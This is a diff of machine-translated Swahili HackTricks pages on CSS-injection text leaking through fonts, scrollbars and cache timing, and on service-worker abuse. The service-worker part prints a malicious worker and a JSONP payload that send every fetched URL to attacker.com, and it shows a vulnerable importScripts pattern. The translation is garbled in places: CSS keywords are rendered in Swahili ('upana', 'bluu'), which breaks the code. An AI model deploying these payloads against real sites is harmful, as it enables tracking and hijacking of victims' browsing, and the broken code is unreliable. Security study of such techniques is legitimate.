Ujanja huu ulitolewa katika [**Mjadala wa Slackers**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with_single\_css\_injection/). Seti ya wahusika inayotumiwa katika nodi ya maandishi inaweza kuvuja **kwa kutumia fonti za msingi** zilizosanikishwa kwenye kivinjari: hakuna fonti za nje -au desturi- inahitajika.
|
||||||
|
|
||||||
Wazo linahusisha kutumia uhuishaji kuongeza taratibu upana wa `div`, kuruhusu herufi moja kwa wakati kuhamia kutoka sehemu ya 'sufiksi' ya maandishi hadi sehemu ya 'kiambishi'. Mchakato huu unagawa maandishi katika sehemu mbili:
|
Mbinu hii inahusisha kutumia uhuishaji kuongeza kwa hatua kwa hatua upana wa `div`, kuruhusu wahusika mmoja baada ya mwingine kusonga kutoka sehemu ya 'suffix' ya maandishi kwenda sehemu ya 'prefix'. Mchakato huu unagawa kwa ufanisi maandishi katika sehemu mbili:
|
||||||
|
|
||||||
1. **Kiambishi**: Mstari wa awali.
|
1. **Awali**: Mstari wa kwanza.
|
||||||
2. **Sufiksi**: Mstari/mistari inayofuata.
|
2. **Suffix**: Mstari unaofuata.
|
||||||
|
|
||||||
Hatua za mpito za herufi zitaonekana kama ifuatavyo:
|
Hatua za mpito za wahusika zitaonekana kama ifuatavyo:
|
||||||
|
|
||||||
**C**\
|
**C**\
|
||||||
ADB
|
ADB
|
||||||
|
@ -269,16 +267,16 @@ B
|
||||||
**CADB**
|
**CADB**
|
||||||
|
|
||||||
|
|
||||||
Katika mpito huu, **mtego wa unicode-range** unatumika kutambua kila herufi mpya inapojiunga na kiambishi. Hii inafanikiwa kwa kubadilisha fonti kuwa Comic Sans, ambayo ni refu kuliko fonti ya chaguo-msingi, na hivyo kusababisha kisanduku cha skrini cha wima. Kuonekana kwa kisanduku cha skrini hiki kunafichua uwepo wa herufi mpya katika kiambishi.
|
Wakati wa mpito huu, **njama ya unicode-range** inatumika kutambua kila wahusika mpya wanapojiunga na awali. Hii inafanikishwa kwa kubadilisha fonti kuwa Comic Sans, ambayo ni refu kuliko fonti ya msingi, hivyo kusababisha scrollbar ya wima. Kuonekana kwa scrollbar hii kunafunua kwa njia isiyo ya moja kwa moja uwepo wa wahusika wapya katika awali.
|
||||||
|
|
||||||
Ingawa njia hii inaruhusu ugunduzi wa herufi za kipekee wanapoonekana, haifafanui herufi ipi inarudiwa, tu kwamba kuna kurudia kumetokea.
|
Ingawa mbinu hii inaruhusu kutambua wahusika wa kipekee wanapoonekana, haitoi maelezo ya ni wahusika gani wanarudiwa, tu kwamba kurudi kumetokea.
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Kimsingi, **unicode-range inatumika kugundua herufi**, lakini kwa kuwa hatutaki kupakia fonti ya nje, tunahitaji kupata njia nyingine.\
|
Kimsingi, **unicode-range hutumiwa kutambua wahusika**, lakini kwa kuwa hatutaki kupakia fonti ya nje, tunahitaji kupata njia nyingine.\
|
||||||
Wakati **herufi** inapopatikana, inapewa **fonti ya Comic Sans iliyosanikishwa tayari**, ambayo inafanya herufi kuwa **kubwa** na kusababisha **kisanduku cha skrini** ambacho kitavuja herufi iliyopatikana.
|
Wakati **wahusika** unapopatikana, unapewa **fonti ya Comic Sans iliyosanikishwa tayari**, ambayo **inafanya** wahusika **kuwa wakubwa** na **kuzindua scrollbar** ambayo ita**vujisha wahusika uliopatikana**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Angalia nambari iliyochukuliwa kutoka kwa PoC:
|
Angalia nambari iliyochimbuliwa kutoka kwa PoC:
|
||||||
```css
|
```css
|
||||||
/* comic sans is high (lol) and causes a vertical overflow */
|
/* comic sans is high (lol) and causes a vertical overflow */
|
||||||
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
|
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
|
||||||
|
@ -389,49 +387,26 @@ text-transform: uppercase; /* only capital letters leak */
|
||||||
3% { width: 60px }
|
3% { width: 60px }
|
||||||
4% { width: 80px }
|
4% { width: 80px }
|
||||||
4% { width: 100px }
|
4% { width: 100px }
|
||||||
# CSS Injection
|
```swahili
|
||||||
|
5% { upana: 120px }
|
||||||
Hii ni mbinu ya kuingiza CSS kwenye tovuti ili kufanya mabadiliko fulani. Kwa mfano, unaweza kutumia CSS Injection kubadilisha upana wa kipengee fulani kwenye tovuti.
|
6% { upana: 140px }
|
||||||
|
7% { upana: 0px }
|
||||||
Kwa mfano, unaweza kutumia kanuni ifuatayo ya CSS Injection kubadilisha upana wa kipengee kwa asilimia tofauti:
|
|
||||||
|
|
||||||
```css
|
|
||||||
@keyframes changeWidth {
|
|
||||||
5% { width: 120px }
|
|
||||||
6% { width: 140px }
|
|
||||||
7% { width: 0px }
|
|
||||||
}
|
|
||||||
|
|
||||||
div {
|
|
||||||
animation: changeWidth 1s infinite;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
div::-webkit-scrollbar {
|
div::-webkit-scrollbar {
|
||||||
background: blue;
|
background: bluu;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* side-channel */
|
/* upande wa channel */
|
||||||
div::-webkit-scrollbar:vertical {
|
div::-webkit-scrollbar:vertical {
|
||||||
background: blue var(--leak);
|
background: bluu var(--leak);
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
### Uvujaji wa kipengele cha maandishi (III): kuvuja kwa seti ya herufi kwa kutumia muda wa cache (bila kuhitaji mali za nje) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||||
|
|
||||||
Katika mfano huu, tunatumia `@keyframes` kuanzisha mzunguko wa mabadiliko ya upana wa kipengee. Kisha, tunatumia `animation` kwenye kipengee cha `div` ili kuomba mzunguko huo wa mabadiliko ya upana.
|
**Marejeleo:** Hii inatajwa kama [suluhisho lisilofanikiwa katika andiko hili](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||||
|
|
||||||
Pia, tunatumia `div::-webkit-scrollbar` kubadilisha rangi ya background ya scrollbar. Na kwa kutumia `div::-webkit-scrollbar:vertical`, tunaweza kubadilisha rangi ya background ya scrollbar ya upande wa pili.
|
Katika kesi hii, tunaweza kujaribu kuvuja ikiwa herufi iko katika maandishi kwa kupakia font bandia kutoka asili ile ile:
|
||||||
|
|
||||||
Kwa kutumia CSS Injection, unaweza kufanya mabadiliko mbalimbali kwenye tovuti kwa kutumia kanuni za CSS.
|
|
||||||
### Uchunguzi wa Node ya Matini (III): Kuvuja kwa charset kwa kutumia fonti ya chaguo-msingi kwa kuficha vitu (bila kuhitaji mali za nje) <a href="#uchunguzi-wa-node-ya-matini-ii-kuvuja-kwa-charset-kwa-kutumia-fonti-ya-chaguo-msingi" id="uchunguzi-wa-node-ya-matini-ii-kuvuja-kwa-charset-kwa-kutumia-fonti-ya-chaguo-msingi"></a>
|
|
||||||
|
|
||||||
**Marejeo:** Hii inatajwa kama [suluhisho lisilofanikiwa katika andishi hili](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
|
||||||
|
|
||||||
Kesi hii ni sawa sana na ile iliyotangulia, hata hivyo, katika kesi hii lengo la kufanya **herufi maalum kuwa kubwa kuliko nyingine ni kuficha kitu** kama kifungo ambacho hakitabonyezwa na boti au picha ambayo haitapakia. Kwa hivyo tunaweza kupima hatua (au kutokuwepo kwa hatua) na kujua ikiwa herufi maalum ipo ndani ya matini.
|
|
||||||
|
|
||||||
### Uchunguzi wa Node ya Matini (III): Kuvuja kwa charset kwa kutumia muda wa kache (bila kuhitaji mali za nje) <a href="#uchunguzi-wa-node-ya-matini-ii-kuvuja-kwa-charset-kwa-kutumia-fonti-ya-chaguo-msingi" id="uchunguzi-wa-node-ya-matini-ii-kuvuja-kwa-charset-kwa-kutumia-fonti-ya-chaguo-msingi"></a>
|
|
||||||
|
|
||||||
**Marejeo:** Hii inatajwa kama [suluhisho lisilofanikiwa katika andishi hili](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
|
||||||
|
|
||||||
Katika kesi hii, tunaweza jaribu kuvuja ikiwa herufi ipo katika matini kwa kupakia fonti bandia kutoka asili ile ile:
|
|
||||||
```css
|
```css
|
||||||
@font-face {
|
@font-face {
|
||||||
font-family: "A1";
|
font-family: "A1";
|
||||||
|
@ -439,15 +414,15 @@ src: url(/static/bootstrap.min.css?q=1);
|
||||||
unicode-range: U+0041;
|
unicode-range: U+0041;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Ikiwa kuna mechi, **font itapakia kutoka `/static/bootstrap.min.css?q=1`**. Ingawa haitapakia kwa mafanikio, **kivinjari kinapaswa kukihifadhi**, na hata kama hakuna hifadhi, kuna **muhuri wa 304 usiobadilishwa**, kwa hivyo **jibu linapaswa kuwa haraka** kuliko mambo mengine.
|
If there is a match, the **font will be loaded from `/static/bootstrap.min.css?q=1`**. Ingawa haitapakia kwa mafanikio, **kivinjari kinapaswa kukisakinisha**, na hata kama hakuna cache, kuna **muhimu wa 304 isiyobadilishwa**, hivyo **jibu linapaswa kuwa haraka** kuliko mambo mengine.
|
||||||
|
|
||||||
Walakini, ikiwa tofauti ya wakati kati ya jibu lililohifadhiwa na lile lisilohifadhiwa sio kubwa ya kutosha, hii haitakuwa na maana. Kwa mfano, mwandishi alitaja: Walakini, baada ya kufanya majaribio, niligundua kuwa shida ya kwanza ni kwamba kasi haipo sana, na shida ya pili ni kwamba boti hutumia bendera ya `disk-cache-size=1`, ambayo ni ya kufikiria sana.
|
Hata hivyo, ikiwa tofauti ya muda kati ya jibu lililosakinishwa na lile lisilosakinishwa si kubwa vya kutosha, hii haitakuwa na manufaa. Kwa mfano, mwandishi alitaja: Hata hivyo, baada ya majaribio, niligundua kuwa tatizo la kwanza ni kwamba kasi si tofauti sana, na tatizo la pili ni kwamba boti hutumia bendera ya `disk-cache-size=1`, ambayo ni ya kufikiria kweli.
|
||||||
|
|
||||||
### Uchunguzi wa Kifungu cha Nakala (III): kuvuja kwa charset kwa kupima upakiaji wa mamia ya "fonti" za ndani (bila kuhitaji mali za nje) <a href="#uchunguzi-wa-kifungu-cha-nakala-ii-kuvuja-kwa-charset-kwa-fonti-ya-kawaida" id="uchunguzi-wa-kifungu-cha-nakala-ii-kuvuja-kwa-charset-kwa-fonti-ya-kawaida"></a>
|
### Uchimbaji wa nodi ya maandishi (III): kuvuja kwa seti ya herufi kwa kupima kupakia mamia ya "fonti" za ndani (bila kuhitaji mali za nje) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||||
|
|
||||||
**Marejeleo:** Hii inatajwa kama [suluhisho lisilofanikiwa katika andishi hili](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
**Marejeo:** Hii imeelezwa kama [suluhisho lisilofanikiwa katika andiko hili](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||||
|
|
||||||
Katika kesi hii, unaweza kuonyesha **CSS kupakia mamia ya fonti bandia** kutoka asili ile ile wakati mechi inatokea. Kwa njia hii, unaweza **kupima wakati** inachukua na kugundua ikiwa herufi inaonekana au la kwa kitu kama:
|
Katika kesi hii unaweza kuonyesha **CSS kupakia mamia ya fonti bandia** kutoka asili ile ile wakati kuna mechi inatokea. Kwa njia hii unaweza **kupima muda** unaochukua na kugundua ikiwa herufi inaonekana au la kwa kitu kama:
|
||||||
```css
|
```css
|
||||||
@font-face {
|
@font-face {
|
||||||
font-family: "A1";
|
font-family: "A1";
|
||||||
|
@ -464,7 +439,7 @@ browser.get(url)
|
||||||
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
|
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
|
||||||
time.sleep(30)
|
time.sleep(30)
|
||||||
```
|
```
|
||||||
Kwa hivyo, ikiwa herufi hazilingani, wakati wa majibu wakati wa kutembelea bot inatarajiwa kuwa takriban sekunde 30. Walakini, ikiwa kuna kulingana na herufi, maombi mengi yatatumwa kupata herufi, ikisababisha shughuli za mtandao kuendelea. Kama matokeo, itachukua muda mrefu kutimiza hali ya kusimamisha na kupokea majibu. Kwa hivyo, wakati wa majibu unaweza kutumika kama kiashiria cha kubaini ikiwa kuna kulingana na herufi.
|
Kwa hivyo, ikiwa herufi hazilingani, wakati wa majibu unapotembelea bot inatarajiwa kuwa takriban sekunde 30. Walakini, ikiwa kuna mechi ya herufi, maombi mengi yatapelekwa kupata herufi, ikisababisha mtandao kuwa na shughuli endelevu. Kama matokeo, itachukua muda mrefu kutimiza hali ya kusimamisha na kupokea majibu. Kwa hivyo, muda wa majibu unaweza kutumika kama kiashiria cha kubaini ikiwa kuna mechi ya herufi.
|
||||||
|
|
||||||
## Marejeo
|
## Marejeo
|
||||||
|
|
||||||
|
@ -473,16 +448,22 @@ Kwa hivyo, ikiwa herufi hazilingani, wakati wa majibu wakati wa kutembelea bot i
|
||||||
* [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d)
|
* [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d)
|
||||||
* [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)
|
* [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)
|
||||||
|
|
||||||
|
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Njia nyingine za kusaidia HackTricks:
|
Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
* Ikiwa unataka kuona **kampuni yako inatangazwa katika HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,37 +1,45 @@
|
||||||
# Kudhuru Wafanyakazi wa Huduma
|
# Kutumia Wafanyakazi wa Huduma
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikionyeshwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||||
* Pata [**swagi rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au **kikundi cha** [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
**Kikundi cha Usalama cha Kujitahidi**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
***
|
||||||
|
|
||||||
## Taarifa Msingi
|
## Taarifa Msingi
|
||||||
|
|
||||||
**Mfanyakazi wa huduma** ni script inayotekelezwa na kivinjari chako nyuma, tofauti na ukurasa wowote wa wavuti, ikiruhusu vipengele visivyohitaji ukurasa wa wavuti au mwingiliano wa mtumiaji, hivyo kuimarisha uwezo wa **kuprocessi nje ya mtandao na nyuma**. Taarifa kamili kuhusu wafanyakazi wa huduma inaweza kupatikana [hapa](https://developers.google.com/web/fundamentals/primers/service-workers). Kwa kudukua wafanyakazi wa huduma ndani ya kikoa dhaifu cha wavuti, wadukuzi wanaweza kupata udhibiti juu ya mwingiliano wa mwathiriwa na kurasa zote ndani ya kikoa hicho.
|
**Mfanyakazi wa huduma** ni skripti inayotekelezwa na kivinjari chako nyuma, tofauti na ukurasa wowote wa wavuti, ikiruhusu vipengele visivyohitaji ukurasa wa wavuti au mwingiliano wa mtumiaji, hivyo kuimarisha uwezo wa **kupata mtandaoni na usindikaji wa nyuma**. Maelezo kamili kuhusu wafanyakazi wa huduma yanaweza kupatikana [hapa](https://developers.google.com/web/fundamentals/primers/service-workers). Kwa kudukua wafanyakazi wa huduma ndani ya kikoa dhaifu cha wavuti, wadukuzi wanaweza kupata udhibiti juu ya mwingiliano wa mwathiriwa na kurasa zote ndani ya kikoa hicho.
|
||||||
|
|
||||||
### Kuangalia Wafanyakazi wa Huduma Waliopo
|
### Kuangalia Wafanyakazi wa Huduma Waliopo
|
||||||
|
|
||||||
Wafanyakazi wa huduma waliopo wanaweza kuangaliwa katika sehemu ya **Wafanyakazi wa Huduma** ya kichupo cha **Maombi** katika **Zana za Mwendelezaji**. Njia nyingine ni kutembelea [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) kwa mtazamo wa kina zaidi.
|
Wafanyakazi wa huduma waliopo wanaweza kuangaliwa katika sehemu ya **Wafanyakazi wa Huduma** ya kichupo cha **Maombi** katika **Zana za Mwandishi**. Njia nyingine ni kutembelea [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) kwa mtazamo wa kina zaidi.
|
||||||
|
|
||||||
### Arifa za Kupiga
|
### Arifa za Kupiga
|
||||||
|
|
||||||
**Ruhusa za arifa za kupiga** zinaathiri moja kwa moja uwezo wa **mfanyakazi wa huduma** kuwasiliana na seva bila mwingiliano moja kwa moja wa mtumiaji. Ikiwa ruhusa zimekataliwa, inapunguza uwezo wa mfanyakazi wa huduma kuleta tishio endelevu. Kinyume chake, kutoa ruhusa kunazidisha hatari za usalama kwa kuruhusu kupokea na kutekeleza mbinu za udukuzi.
|
**Ruhusa za arifa za kupiga** zinaathiri moja kwa moja uwezo wa **mfanyakazi wa huduma** kuwasiliana na seva bila mwingiliano moja kwa moja wa mtumiaji. Ikiwa ruhusa zinakataliwa, inapunguza uwezo wa mfanyakazi wa huduma kuwa tishio la mara kwa mara. Kinyume chake, kutoa ruhusa kunazidisha hatari za usalama kwa kuruhusu kupokea na kutekeleza mbinu za udukuzi.
|
||||||
|
|
||||||
## Shambulio la Kuunda Mfanyakazi wa Huduma
|
## Shambulio la Kuunda Mfanyakazi wa Huduma
|
||||||
|
|
||||||
Ili kutumia udhaifu huu unahitaji kupata:
|
Ili kutumia udhaifu huu unahitaji kupata:
|
||||||
|
|
||||||
* Njia ya **kupakia faili za JS za kupendelea** kwenye seva na **XSS ya kupakia mfanyakazi wa huduma** wa faili ya JS iliyopakiwa
|
* Njia ya **kupakia faili za JS za kupendelea** kwenye seva na **XSS ya kupakia mfanyakazi wa huduma** wa faili ya JS iliyopakiwa
|
||||||
* **Ombi dhaifu la JSONP** ambapo unaweza **kudhibiti matokeo (na nambari za JS za kupendelea)** na **XSS** ya **kupakia JSONP na mzigo** ambao uta **paki mfanyakazi wa huduma wa madhara**.
|
* **Ombi dhaifu la JSONP** ambapo unaweza **kudhibiti matokeo (na nambari ya JS ya kupendelea)** na **XSS** ya **kupakia JSONP na mzigo** ambao uta **paki mfanyakazi wa huduma mbaya**.
|
||||||
|
|
||||||
Katika mfano ufuatao nitawasilisha nambari ya **kujiandikisha mfanyakazi wa huduma mpya** ambao utasikiliza tukio la `fetch` na **kutuma kwa seva ya wadukuzi kila URL iliyopakiwa** (hii ni nambari unayohitaji **kupakia** kwenye **seva** au kupakia kupitia majibu ya **JSONP dhaifu**):
|
Katika mfano ufuatao nitawasilisha nambari ya **kujiandikisha mfanyakazi wa huduma mpya** ambayo itasikiliza tukio la `fetch` na ita **tuma kwenye seva ya wadukuzi kila URL iliyopakiwa** (hii ni nambari utakayohitaji **kupakia** kwenye **seva** au kupakia kupitia majibu ya **JSONP dhaifu**):
|
||||||
```javascript
|
```javascript
|
||||||
self.addEventListener('fetch', function(e) {
|
self.addEventListener('fetch', function(e) {
|
||||||
e.respondWith(caches.match(e.request).then(function(response) {
|
e.respondWith(caches.match(e.request).then(function(response) {
|
||||||
|
@ -56,21 +64,21 @@ xhttp2.send();
|
||||||
});
|
});
|
||||||
</script>
|
</script>
|
||||||
```
|
```
|
||||||
Katika kesi ya kutumia mwisho wa JSONP unaoweza kudhuriwa unapaswa kuweka thamani ndani ya `var sw`. Kwa mfano:
|
Katika kesi ya kutumia mwisho wa JSONP unaoweza kudhurika unapaswa kuweka thamani ndani ya `var sw`. Kwa mfano:
|
||||||
```javascript
|
```javascript
|
||||||
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
|
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
|
||||||
```
|
```
|
||||||
Kuna **C2** iliyotengwa kwa **utumiaji wa Wafanyikazi wa Huduma** inayoitwa [**Shadow Workers**](https://shadow-workers.github.io) ambayo itakuwa na manufaa sana kwa kutumia udhaifu huu.
|
Kuna **C2** iliyotengwa kwa **utumiaji wa Wafanyikazi wa Huduma** inayoitwa [**Shadow Workers**](https://shadow-workers.github.io) ambayo itakuwa na manufaa sana kwa kutumia udhaifu huu.
|
||||||
|
|
||||||
**Mwongozo wa cache wa masaa 24** unapunguza maisha ya **wafanyikazi wa huduma (SW)** wenye nia mbaya au walioathiriwa hadi masaa 24 baada ya kosa la udhaifu wa XSS kutatuliwa, ikizingatiwa hali ya mteja mtandaoni. Ili kupunguza udhaifu, waendeshaji wa tovuti wanaweza kupunguza Muda wa Kuishi wa Script ya SW (TTL). Waendelezaji pia wanashauriwa kuunda [**kitufe cha kuzima wafanyikazi wa huduma**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) kwa kuzima haraka.
|
**Mwongozo wa kache wa masaa 24** unapunguza maisha ya **wafanyikazi wa huduma (SW)** wenye nia mbaya au walioathiriwa hadi masaa 24 baada ya kurekebisha udhaifu wa XSS, ikizingatiwa hali ya mteja mtandaoni. Ili kupunguza udhaifu, waendeshaji wa tovuti wanaweza kupunguza Muda wa Kuishi wa Skripti ya SW (TTL). Waendelezaji pia wanashauriwa kuunda [**kitufe cha kuzima wafanyikazi wa huduma**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) kwa kuzima haraka.
|
||||||
|
|
||||||
## Kutumia `importScripts` katika SW kupitia DOM Clobbering
|
## Kutumia `importScripts` katika SW kupitia DOM Clobbering
|
||||||
|
|
||||||
Kazi ya **`importScripts`** iliyoitwa kutoka kwa Wafanyikazi wa Huduma inaweza **kuagiza script kutoka kwa kikoa tofauti**. Ikiwa kazi hii inaitwa kutumia **parameter ambayo muhusika anaweza** kuhariri angekuwa na uwezo wa **kuagiza script ya JS kutoka kwa kikoa chake** na kupata XSS.
|
Kazi ya **`importScripts`** iliyoitwa kutoka kwa Wafanyikazi wa Huduma inaweza **kuagiza skripti kutoka kwa kikoa tofauti**. Ikiwa kazi hii inaitwa kutumia **parameta ambayo mshambuliaji anaweza** kuhariri angekuwa na uwezo wa **kuagiza skripti ya JS kutoka kwa kikoa chake** na kupata XSS.
|
||||||
|
|
||||||
**Hii hata inapita kinga za CSP.**
|
**Hii hata inapita kinga za CSP.**
|
||||||
|
|
||||||
**Mfano wa nambari yenye udhaifu:**
|
**Mfano wa msimbo wenye udhaifu:**
|
||||||
|
|
||||||
* **index.html**
|
* **index.html**
|
||||||
```html
|
```html
|
||||||
|
@ -86,7 +94,7 @@ let host = searchParams.get('host');
|
||||||
self.importScripts(host + "/sw_extra.js");
|
self.importScripts(host + "/sw_extra.js");
|
||||||
//host can be controllable by an attacker
|
//host can be controllable by an attacker
|
||||||
```
|
```
|
||||||
### Kwa DOM Clobbering
|
### Kwa Kutumia DOM Clobbering
|
||||||
|
|
||||||
Kwa habari zaidi kuhusu ni nini DOM Clobbering angalia:
|
Kwa habari zaidi kuhusu ni nini DOM Clobbering angalia:
|
||||||
|
|
||||||
|
@ -94,7 +102,7 @@ Kwa habari zaidi kuhusu ni nini DOM Clobbering angalia:
|
||||||
[dom-clobbering.md](dom-clobbering.md)
|
[dom-clobbering.md](dom-clobbering.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
Ikiwa URL/domain ambapo SW inatumia kuita **`importScripts`** iko **ndani ya kipengele cha HTML**, ni **inawezekana kuibadilisha kupitia DOM Clobbering** ili kufanya SW **ipakie script kutoka kwenye kikoa chako mwenyewe**.
|
Ikiwa URL/kikoa ambapo SW inatumia kuita **`importScripts`** iko **ndani ya kipengele cha HTML**, ni **rahisi kuihariri kupitia DOM Clobbering** ili kufanya SW **ipakie script kutoka kwa kikoa chako mwenyewe**.
|
